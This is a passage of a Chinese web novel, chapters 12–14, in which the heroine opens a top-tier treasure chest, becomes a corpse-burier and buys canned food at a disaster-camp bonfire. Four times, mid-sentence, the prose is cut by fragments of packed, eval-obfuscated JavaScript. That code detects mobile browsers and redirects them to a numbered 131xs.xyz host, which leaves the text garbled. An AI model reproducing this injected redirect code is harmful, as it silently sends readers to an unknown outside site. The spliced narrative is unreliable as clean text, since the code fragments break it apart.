l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299359|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾起白色烟雾,雾团快速将她笼罩进去。 【消耗寻宝罗盘*1,寻宝成功。】 【寻宝收获期间,开启短暂视野保护。】 【恭喜玩家寻宝成功,获得历练值*10。】 【恭喜玩家首次寻宝成功,触发迎新大福利,此次收获的宝箱奖励,升级为顶级宝级宝箱。】 随着小精灵的播报,土坑里浮现出一个镶嵌满七彩宝石、环绕七彩祥光的木质宝箱。 激动的心,颤抖的手!宝箱的魅力没人可以拒绝! 微颤的手掀开没有上锁的箱盖,月华般的荧光涌出箱子,小麦努力看向箱子里,视线却被月华流光阻断。 【寻宝触发噩梦级随机事件,请寻宝人选择您的故事路线。】 【路线1,获得宝箱奖励。】 【路线2,花费1宝钱,获得双倍宝箱奖励。】 【路线3,花费1宝钱,结束当前随机话本天灾。】 【路线4,花费10宝钱,获得双倍宝箱奖励,并结束当前随机话本天灾。】 小麦并没有兴趣普度众生,更厌恶道德绑架,但她坚信,现世没有逻辑,但成熟的游戏应当有逻辑,所以每一个路线应当都有各自的深意在。 路线4的报价是前两个的十倍,小麦怀疑最贵的路线才有最好的奖励,于是稍一犹豫便选择了路线4。 10宝钱罢了,她花得起,有最好的奖励最好,没有也无所谓,多花9宝钱买个救世主当当也是别样的趣味,哪怕这个救世主只有她自己知道。 情绪价值同样值钱嘛! 账户里减少10宝钱,关于天灾,她并未听到什么额外通告,倒是宝箱里的流光终于散尽,露出铺在最上层满满当当的红绳钱币串。 小麦开心地伸手去拿,手指接触瞬间,整串整串的钱币化作流光,没入腕表。 啧。 还以为终于要收获实物货币,结果那么多钱币仅仅是给她过了一把眼瘾…… 12. 第 12 章 小精灵棒读收获列表。 【获得铜钱*200000。】 【获得宝钱*2。】 钱币收益已经是双倍奖励之后的收益。 小麦猜测,钱币应当是寻宝宝箱里大概率获取的基础收益,要不然数字也不会是20万那么夸张。 小麦已经确定过,寻宝宝箱的奖励虽然很随机,可大致分为铜级、银级、金级、宝级四个等级。 这是第一铲子给玩家把体验感拉满啊! 该说不愧是最高级的宝箱,竟然还有宝钱奖励可以拿,她直接无痛回本2宝钱。 而从商城的物价来算,20万铜钱相当于两万现世币的购买力,也能买块品质不错的玉坠,也算对得起宝箱的身价。 这是还是在选择了最贵路线的基础上,若是小麦再心狠点,当初选择路线2,还能再赚上1宝钱。 不过钱包鼓鼓的前提下,为了9宝钱背上心里负担不值当,所以小麦也不后悔自己的选择。如果收益丰厚,更加庆幸自己的选择。 收完最基础的钱币,下面的东西更值得期待。 她单手托起一个摇曳着碎光的金色星星,胖乎乎的五角星比成年人的手掌还大一点,远观好似一个琉璃夜灯摆件,近看的质地却神似宝石,捏起来又似乳胶玩偶般绵软,轻的仿佛一团棉花。 这种会闪闪发光的东西向来不是普通道具。 小麦再细看,金色星星的前后两面看似一样,却有不同的字迹若隐若现。 一面写有【结算星辰】,一面写有【普度众生】。 小字入眼,相关讯息也涌入脑海,小麦了然。 这是话本通关结算时才会用到的道具,结算星辰,仅能从随机事件中获取,星辰能换到丰厚奖励,每个话本首次集齐九个结算星辰还能有特殊大奖。 看来那9宝钱也没有白花,高级宝箱带来高等级的随机事件。 小麦猜测,恐怕只有路线3和4,才能开出【普度众生】的结算星辰。 当然,如果她选择线路1和2,也有可能获得其它星辰。 结算星辰虽然是话本限定道具,但也能暂时放进随身空间,这东西又占地方又惹眼,还是收起来比较省心。 小麦心情复杂得收起星辰摆件。结算星辰只能在当前故事背景使用,若是更换话本故事,星辰也会随之消失。 世间果然有得必有失啊。 她已经用掉了第一铲子必出顶级宝箱的新手福利,若是再更换故事背景,非常不利于她收集九个星辰。 接下来也只能走一步看一步了。 收拾好心情,继续查看宝箱。 星星玩偶旁边,是一堆眼熟的寻宝罗盘。感谢双倍爆率,感谢最高规格的宝箱,小麦一下子收获20个寻宝罗盘。 有了寻宝罗盘也能有几率触发随机事件,也能梦一梦集齐九颗星星了。 这下,小麦真的不舍得离开这个故事线了。更何况她刚刚结束了此地的天灾,生存的概率大大提升。 接下来又是一份基础奖励,她收获两份不限时,但仅限话本一里存在的食物礼包,里面各有一瓶矿泉水、一瓶肉罐头、一瓶水果罐头。 这些东西并不沉重,又不会随便消失,小麦将之收进了背包。 最后,箱子底部还有六个婴儿拳头大小的、长条形的黑檀色木牌。 木牌两两叠放,正面用金粉写着【地契】、【人契】、【物契】,反面写有【瓶中梦】,除此之外再无纹饰。 木牌入手瞬间,更多讯息涌入脑海。 【地契】 【物品资讯:地契仅可在[领地*食邑]中使用,每张地契可换取一户居民、十亩良田。】 小麦没看到过有关【领地*食邑】的介绍,从【领地】这个前缀来看,这个玩法需要过关试玩副本才能开放。 人契木牌随手扔进随身洞府,小麦拿起下一块木牌。 【物品资讯:物契仅可在[领地*后花园]使用。每张物契仅可建设一标准单位格子。】 从字面意思看来,领地并非单一地图,也不知道[食邑][和后花园]究竟是何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299360|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等模样? 她【看】向最后一张木牌。 【物品资讯:人契可以在领地/话本中使用。】 【当玩家身处领地,使用人契可以招募到更优秀的追随者。人契招募的追随者保底有一技之长。】 【当玩家身处副本,使用一张人契可开启一次人才招募市场,玩家可花费钱币招募npc协助玩家完成任务。招募光门自带隐蔽效果,仅存在15分钟。】 这三种木牌也不知道是寻宝奖励的标配?还是顶级宝箱才能开出来的特殊道具? 小麦准备再开一次宝箱后,再决定要不要在话本一里使用【人契】。 宝箱里的东西清空,白雾回笼,木箱消失,地上留下一个规整的方形土坑,见证宝箱曾经存在过。 山间土坑容易坑到路人,尤其是在夜里。小麦不是个没有公德心的人。虽然天气很热,她还是很有责任心得把土坑回填。 手动回填挖出来的泥土,累出一身热汗。清凉的风吹来,完全解不了一身暑意。 她迫切想洗个澡。 回填的土壤比较松散,填平土坑后还余两铲散土。 小麦的余光瞄见旁边的尸体,干脆将剩余散土都扬在尸体上,也算是给亡者入土为安了。 不知道《瓶中梦》游戏讲不讲究传染病,这么多尸体陈于荒野,不会造成瘟疫吧? 正在胡思乱想间,小精灵棒读的声音响起。 【恭喜小麦主人激活副业转职方向[敛骨人]。】 【是否转职为[敛骨人]?】 【敛骨人职业每收敛一具尸体,可获得一份[亡者的馈赠]。馈赠礼包有几率开出人契大奖。】 小麦没想到,她仅仅是扬两铲子土,便激活了一个全新的就业方向。 得知敛骨人职业和寻宝人身份并不冲突,一个玩家还能同时拥有多种副业,小麦毫不犹豫选择了[敛骨人]职业。 新职业并没有带来新的历练值,倒是铁铲宛若被加了附魔,埋葬起尸体的效率不输挖宝箱,还不费玩家多少力气。 13. 第 13 章 不过三分钟时间,寻宝地点旁的土地被削了一层,尸体就埋成腿高的小土包,小土包上还插了一截枯木,权做墓碑。 小麦也得到了第一份[亡者的馈赠]。还是她亲自从小土包里挖出来的。 馈赠礼包很简陋,是个轻薄的黑色塑料袋,最上方的红色抽拉绳打了一个漂亮的蝴蝶结。 小麦一度怀疑这是垃圾袋再就业。好在黑色袋子里的并不是垃圾,仅从包装来看,就让人毫无期待感。 事情上的确没有什么惊喜。 塑料袋里仅有一串200个铜钱,钱不多,且不会化为数据货币,但仅限话本一使用。 拿出钱币后,塑料袋凭空消失,还挺省心。 小麦猜测,敛骨人这样的副业,大概只能给她带来一些微薄的补贴,只能说是聊胜于无,[人契]估计是[亡者的馈赠]里的大奖,并不那么容易获得。 不过,有个希望在,总是能调动玩家的积极性,至少,小麦并不抗拒这个副业,以及副业带来的收入。 收好钱币,该考虑接下来的路了。随着太阳落山,山间的风越显清凉。 山上的气温必然比帐篷区要低。可小麦白天出了太多汗,又没有机会洗澡,即使有凉风吹过,她也依旧觉得燥热。 这样的环境实在不适合夜宿,小麦能听见嘈杂的虫鸣。 虽然经历了数次地动,这里依旧是座生机勃勃的山林。这也意味着林间可能有野兽出没,小麦必须尽快下山。 基础设施崩溃的后患太多,要不是结算星辰带不出这个随机副本,她势必要自己找机会重开,换个故事背景度过试玩资料片。 现在,小麦且舍不得手上唯一一颗结算星辰,即使还不知道下一个星辰在哪里,可支撑她度过无聊岁月的,不就是那尚未完全枯绝的贪婪嘛…… 要是没了那点渴望,她真的要了无生趣了。 所以虽然知道接下来要吃点苦头,小麦还是很有兴致。 当然,在她下山吃苦之前,还是要给自己的生活创造一点便利。 天色欲晚,山间没有人,山下的人也看不清林间种种,小麦打算在林子里洗个战斗澡。 水源很好解决,她完成首次寻宝后获得大量铜钱,足够支撑她享受一次矿泉水淋浴。沐浴后的水滋养山林,一点都不浪费。 只要有铜币,商城分分钟刷新到玩家满意。 小麦先买下商城里的两瓶矿泉水,然后开启“1铜钱刷新商城”个“买水”的无限循环,最终花费641铜币,集齐了30瓶限时矿泉水。 30瓶拧开盖子的水排成一排,莫名壮观。 清凉的水依次从头顶浇下,洗却燥热的黏腻,小麦终于享受到了夜风的清凉。 重新穿好衣服,回收空瓶。 商城并未刷新出什么值得期待的晚餐,小麦看向山下。 人群聚集处陆续升起明亮篝火。 余震过后,人们暂且还不需要这样的方式烹饪食物,却需要明亮的火堆驱逐动物,也间接用火堆为暂冲作灯塔,给幸存者提供方便。 小麦白天时已经观察过,大点的帐篷区大多有资源售卖,有志愿者但求心安,也有本地居民凭着库存重攒家底。 小麦并不打算去占志愿者的便宜,但也不介意去买点当地特产。来都来了,总不能白来一场! 她白天的糖分摄入已然超标,晚饭不想喝小甜水,也不打算吃齁甜的水果罐头,更不想吃流水线饼干,倒是很想尝尝罐头区的副食罐头。 从话本的背景资料来看,花国明显处在生产过剩阶段,即使有天灾降临,因为人口的骤减,单单是地里埋藏的罐头物资就能养活幸存人口不知道多少年。 而小麦所在的这个田园旅游点,在搞旅游景点的同时也做农产品加工,村里大概率有自己的罐头加工厂,所以资源点才有那么多的没来及贴标的罐头可以售卖。 小麦一路行来,看到过很多没来及打标的空罐头瓶,感觉这里的罐头随处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299361|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见,希望味道也不会失望。 她在山脚瞭望一番,朝着最近的篝火小心前行。 正是炊烟袅袅的晚饭时间,小麦还没有走到篝火点,就听到了npc的谈话声。 听聊天的内容,最近的篝火地明显是几户相熟的人家聚在一起。 抱团的组织通常排外,二某些调笑声也并不让人愉快。 小麦不敢轻易交付信任,更别说在别人的地盘上安眠。 她没有等到双方打了个照面,便拐了个方向,往另外一个比较大的篝火营地转移。 从高处看时。1小时路程内有十多处篝火区,若是都不能让人满意,小麦也不介意独宿。 幸好这个时代的人都习惯了移动支付,身上不会有太多物资,要不然还要忧心npc拦路打劫…… 好在,情况没有那么糟糕,第二个篝火点是个氛围比较安静的聚集地,还有一个明显的物资售卖点。 那是一辆半陷进地面的小货车,好在货车的车门还能打开。能不破坏车门打开车厢,大概率是车子的原主人。 可能因为随处都能挖出物资的缘故,资源售卖点的秩序很好,货车旁仅守有三名中年人,而整个篝火区有上百人在休息。 小麦抵达这个篝火区的时间是19:32,物资销售点前空无一人。因为没有娱乐活动,大部分人都已经就地而眠。 小麦前往购买物资的行动也没有引来天多目光,天灾才不过几天,好多人还没能从灾难中回过神来。 资源点的这辆货车大概率是给罐头厂送货的,车厢里仅有花花绿绿的罐头,看起来还是从纸箱里现拆的。 这种时候的物资自然也没有讲价的余地,货主也没有跟客人议价的心情,空纸箱上用马克笔写好了罐头的价格,也能称得上是明码标价。 小麦并不打算买太多东西,那样会让歹人盯上她。瓶中梦游戏并没有给纯休闲娱乐玩家配备战力升级功能,她只是个战五渣,并不想挑战高难度。 14.第 14 章 有标价的买卖更有效率,小麦只需要购买今日的晚餐,挑好罐头,设定好交易金额,与货主互相碰一下腕表,货主的腕表字正腔圆通报金额变动,整个交易便完成了。 接下来就是找地方吃饭。空地不要钱,篝火附近的位置却要收费,毕竟,要在大热天里凑足一挑柴火可不容易。 小麦花了六千铜钱购买了三个罐头,又花费一千铜钱,请一份干活利落婶子用篝火,伸着大铁钳,加热了她的罐头。 小麦坐在篝火旁,庆幸自己不用大晚上出去捡柴火。 随着加热,食物的香气飘散开,小麦用干净衣服托着三个罐头,挪到稍远一点的地方悄声吃饭。 三个罐头都只有成年人掌心大,厚度还不到两个指节高,份量最重的一份也不过两百克沉,很有生产过剩时期的过度包装精神,恨不得一粒糖果单独包装一个盒子的精神。 不过,小麦还挺喜欢这样的小分量包装,这让她能一次性享受到三种不同的罐头,不至于担心吃不完浪费食物,在这种灾难时期,浪费食物还是挺召人眼,也挺招人恨的。 她是个纯粹的肉食爱好者,所以即使物资点有蔬菜类的罐头,她也没有为了营养为难自己选择那些清汤寡水的蔬菜。 份量最重午餐肉罐头是个金属拉盖罐头。小麦的运气不错,金属拉环没有出现问题,拉盖已经被掀开一半,露出里面装填满的粉色肉块。 午餐肉的调味比较大众化,淀粉的打击感十足,是小麦喜欢的类别,可以充作主食来吃。 不过小麦也没有撕下来的商标贴纸上,那上面本地土猪肉的介绍让人心惊,这意味着附近可能会有养猪场,很难预料,那些幸存的猪猪会不会跑进山林,发展为野猪群。 不过那都是本地居民都要担忧的,小麦觉得,她任务期间,那些养殖猪应该还不会造成太大危害。 三个罐头里最香的是红油香菇粒罐头,香菇的气味本就霸道,再加上麻辣咸香的红油沁润,加热后的香气十分勾人。 香菇罐头所使用的是非常容易撕开的锡纸封层,香菇粒香肥厚的肉感很接近肉粒,每次咀嚼又能压榨出爆浆的香辣汁水,让人欲罢不能,连罐底的汤汁都不舍得浪费,拿午餐肉泡一泡,那滋味简直绝了! 酥骨带鱼同样是金属拉环罐头,里面没有汤汁,只有三块带鱼完整的带鱼肉段,五香味的鱼肉松散偏咸,吃起来非常没劲。 可惜,帐篷区没有热米饭。 三个罐头足够小麦饱餐一顿,可惜的是,全部吃完也没有吃出历练值。 看来只有品尝商城的食物才能拿历练值,还是首次品尝才有得拿。小麦决定以后尽量吃商城的食物,不仅更安全,也更有机会触发新的历练值。 吃空的罐头盒都被随意丢弃在篝火区外。虽然空罐头瓶也能当做容易,但其它物资点可以买到性价比更高的旅行工具。 小麦猜测,因为这里是田园风的旅游景点,本来就有店铺准备了大量用以野餐的便捷商品,所以此地的幸存者大多不必为生活工具忧心。 甚至野外垃圾箱都能捡到不少仅用了一次的二手货。 所以大家都不缺小工具,所以各种空置的罐头瓶在野外堆成小丘,无人在意。 至少现在,人们不会把罐头瓶当宝贝。 去外面丢弃罐头瓶的时候,小麦在垃圾堆捡到了几张不太一样的传单。 一共六张宣传单,大小不一,材质不一,里面的内容也不尽相同,但全部都是安置基地的小广告,招募人口的待遇一个比一个丰厚。 小麦回到临时营地里的空地,将六张宣传单铺在地上,用碎石压住,一番比较后又给六份宣传单排了个顺序。 排外第一位的小广告,招募外来常驻人口的福利可以概括为: 1.每人每日可凭借居住证,免费领取一次生命体征维持餐。 2.基地提供免费的职业技能培训,学成后要在基地打工满一年方可离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300952|182744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,期间工资月结。 3.居住时间每累积一段时长都有不同等级的物资补助。 小广告还附赠了简单明了的地图,标注了从这个乡村到基地要如何走,明显是定向投放。 小麦毫不意外,头顶飞过的无人机,有些就专干这活,会在人群聚集处洒下传单,奢侈点的还会附赠点小零食。 排在最后一张的小广告更为惊人,除了上述福利还有免费帮建房,先到先得的宅基地,拖家带口的还给大笔安家费,若能有个一技之长,待遇还能再详谈。 好像只要能招到人,各种大饼都敢画。 小麦稍一思索也就明白了。这个时代本就生产物资过剩,地下随便挖挖就有几率挖到大型仓库,地上的机器也并非全损,天灾里损失最大的是人口。 若是没了人,上位者连秀优越都没有可秀的对象。 而虹吸了海量人口的大城市又没留下多少幸存人口,反而拥有海量的吞吐货物。 再者地动又不是其它天灾,只要撑过这段时间,地可以再种起来,工厂可以再开起来,就连基建都有可能再重新铺设。 反倒是人口需要时间才能稳定增长。 有野望安置基地自然会开始抢人大战,毕竟生孩子哪有抢成熟的劳动力快,等新生儿成长到能用的劳动力,说不定生产技术都要遗失断层了。 偏偏像小麦所在的这种田园乡村的原住民,人家还不愿意去基地。 留在乡村,只要余震停了,村民可以在自家重新盖房子,重新开田地,地下的物资挖一挖,原地不动,就够一村的人享用几十年。 反而去安置基地,不仅要长途跋涉,重新开始,还可能因为人心面临苛政。 只有那些放不下失散的家人,或者有更大野心的人,才会选择前往安置基地。那里能提供更大的人生舞台。 至于小麦这样需要完成任务的玩家?她怀疑,不同安置基地的招募福利,和通关奖励微妙相关。